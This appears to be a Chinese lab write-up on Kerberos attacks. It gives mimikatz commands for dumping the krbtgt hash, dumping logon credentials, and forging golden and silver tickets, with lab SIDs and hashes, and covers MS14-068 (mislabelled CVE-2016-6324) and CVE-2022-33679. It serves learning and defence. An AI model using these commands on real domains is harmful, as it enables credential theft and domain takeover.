前言

最近twitter上關於CVE，應該是CVE-2022-33679比較火了，但是資料也是比較少，下面來嘮嘮吧。

kerberos認證原理

先了解幾個概念

認證服務（Authentication server）：簡稱AS，認證客戶端身份提供認證服務。

域控伺服器（Domain Control）：即DC。

服務票據（Server Ticket）：簡稱ST，在Kerberos認證中，客戶端請求的服務透過ST票據認證。

票據授予服務（Ticket Granting server）：簡稱TGS，頒發服務票據（server ticket）。

活動目錄（Active Directory）：簡稱AD，包含了域中所有的物件（使用者，計算機，組等）

KDC金鑰頒發中心（KDC）：域控擔任

特權屬性證書（Privilege Attribute Certificate）：簡稱PAC，所包含的是各種授權資訊， 例如使用者所屬的使用者組， 使用者所具有的許可權等。

下圖為Kerberos的認證過程：

一個完整的認證流程基本上分為8個步驟

1。客戶端使用者向KDC傳送請求，包含使用者名稱，主機名和時間戳。AS接收請求

2。AS對客戶端使用者身份認證後給客戶端返回票據授予票據

3。客戶端使用TGT到票據分發服務（TGS）請求訪問伺服器A的服務票據（ST）

4。TGS給客戶端分發ST

5。客戶端使用ST請求伺服器A

6。伺服器A解密ST票據得到特權屬性證書PAC，伺服器A請求域控AD需確認使用者許可權

7。域控將PAC解密獲取使用者SID和使用者許可權的結果返回給伺服器A

8。使用者身份符合則進行第最後的返回資訊，整個Kerberos認證結束。

黃金票據

原理：

Kerberos黃金票據是有效的TGT Kerberos票據，是由域Kerberos帳戶加密和簽名的 。TGT僅用於向域控制器上的KDC服務證明使用者已被其他域控制器認證。TGT被KRBTGT密碼雜湊加密並且可以被域中的任何KDC服務解密的。

相當於跳過上面圖片中過的步驟一和步驟二，直接偽造TGT

實驗

這裡利用星海安全實驗室的靶場環境

環境：192。168。10。10 域控DC 域：Starseaseclab。com 作業系統：win-server2012R2

域內主機：192。168。10。14 作業系統：win7

使用條件：

域管SID

域名

域控KRBTGT賬號的HASHntlm（hash）

【——幫助網安學習，需要網安學習資料關注我，私信回覆“資料”免費獲取——】

① 網安學習成長路徑思維導圖

② 60+網安經典常用工具包

③ 100+SRC漏洞分析報告

④ 150+網安攻防實戰技術電子書

⑤ 最權威CISSP 認證考試指南+題庫

⑥ 超1800頁CTF實戰技巧手冊

⑦ 最新網安大廠面試題合集（含答案）

⑧ APP客戶端安全檢測指南（安卓+IOS）

whoami /all

lsadump：：dcsync /domain：starseaseclab。com /user：krbtgt

sid：S-1-5-21-1719736279-3906200060-616816393

htlm（hash）：5e31f755b33b621bede0946b044908e4

domian：starseaseclab。com

域內主機win-7

privilege：：debug

kerberos：：purge //清空票據防止快取影響

Kerberos：：golden /user：administrator /domain：starseaseclab。com /sid：S-1-5-21-1719736279-3906200060-616816393 /krbtgt：5e31f755b33b621bede0946b044908e4 /ptt //偽造金票注入記憶體

白銀票據

原理

黃金票據是偽造TGT，在kerberos認證中忽略前兩步，白銀票據就是直接偽造ST

whoami /all

sid： S-1-5-21-1719736279-3906200060-616816393

sekurlsa：：logonpasswords

偽造票據

Kerberos：：golden /domain：starseaseclab。com /sid：S-1-5-21-1719736279-3906200060-616816393 /target：win-dc。starseaseclab。com /service：cifs /rc4：161cff084477fe596a5db81874498a24 /user：user1 /ptt //偽造銀票注入記憶體

利用MS14-068（CVE-2016-6324）

域內使用者提升至域控

條件 ：

域內使用者名稱以及hash

sid值

域名

域控ip

ms-14-068。exe -u 域使用者@域名 -p 域使用者密碼 -s 域使用者sid -d 域控ip

kerberos：：ptc “票據” //將票據注入記憶體

黃金票據和白銀票據的區別

訪問許可權不同：

Golden Ticket：偽造TGT，可以獲取任何Kerberos服務許可權

Silver Ticket：偽造TGS，只能訪問指定的服務

加密方式不同：

Golden Ticket由Kerberos的Hash加密

Silver Ticket由服務賬號（通常為計算機賬戶）Hash加密

認證流程不同：

Golden Ticket的利用過程需要訪問域控，

Silver Ticket不需要

CVE-2022-33679

攻擊的過程分為下面幾個步驟

攻擊者傳送一個沒有預授權的 AS-REQ 請求 RC4-MD4 金鑰加密。如果使用者不需要預授權，KDC 將發回一個 AS-REP，其中包含使用 RC4-MD4 加密的會話金鑰等。

根據加密資料的長度，計算出加密金鑰開始前的0x15位元組，只要總長度就可以猜到。可能需要傳送適當長的主機地址來填充 ASN1 編碼資料，以便將金鑰對齊到合適的位置。

根據計算出的ASN1資料和加密後的KDC-REP生成金鑰流的前0x2D位元組（密文中前0x18位元組全為0）。

使用金鑰流加密 PA-ENC-TIMESTAMP 預認證緩衝區，如果僅使用 KerberosTime，則大小將恰好為 0x15 位元組，即帶有初始填充的 0x2D。

在新的 AS-REQ 中傳送加密的時間戳以驗證金鑰流是否正確。

如果將客戶端和 KDC 降級為使用 RC4-MD4，攻擊者可以讓 KDC 使用 RC4-MD4 會話金鑰作為初始 TGT，它只有 40 位的熵，並且在關聯的票證過期之前實現暴力破解，可為該使用者發出任意服務票證的 TGS 請求。

攻擊圖解

在請求TGT的第一階段爆破第一個位元組的圖解

獲取最後一個位元組的過程圖解

CVE提交者的POC顯示已刪除，github上披露的EXP已經沒了。

專案下載地址：

https：//github。com/GhostPack/Rubeus

需要重新編譯一下，

Rubeus

的V2。1。2實際上也沒找到歷史釋出版本，目前最新版本未V2。2。1

該版本無法使用cve-2022-33679偽造TGT。該漏洞就利用方式來說跟黃金票據有點兒類似，透過EXP繞過Kerberos認證協議中的第一和第二步驟，直接向TGS請求ST。

總結

資料還是有限，沒有復現成功，但是就原理來說，結合Kerberos認證原理還是比較清晰。CVE-2022-33679的使用也是有使用條件，需要設定“不需要 Kerberos 預身份驗證”使用者帳戶控制標誌，並配置了 RC4 金鑰。所以在利用手段上來講應該是比較苛刻。（如有錯誤還請各位指出）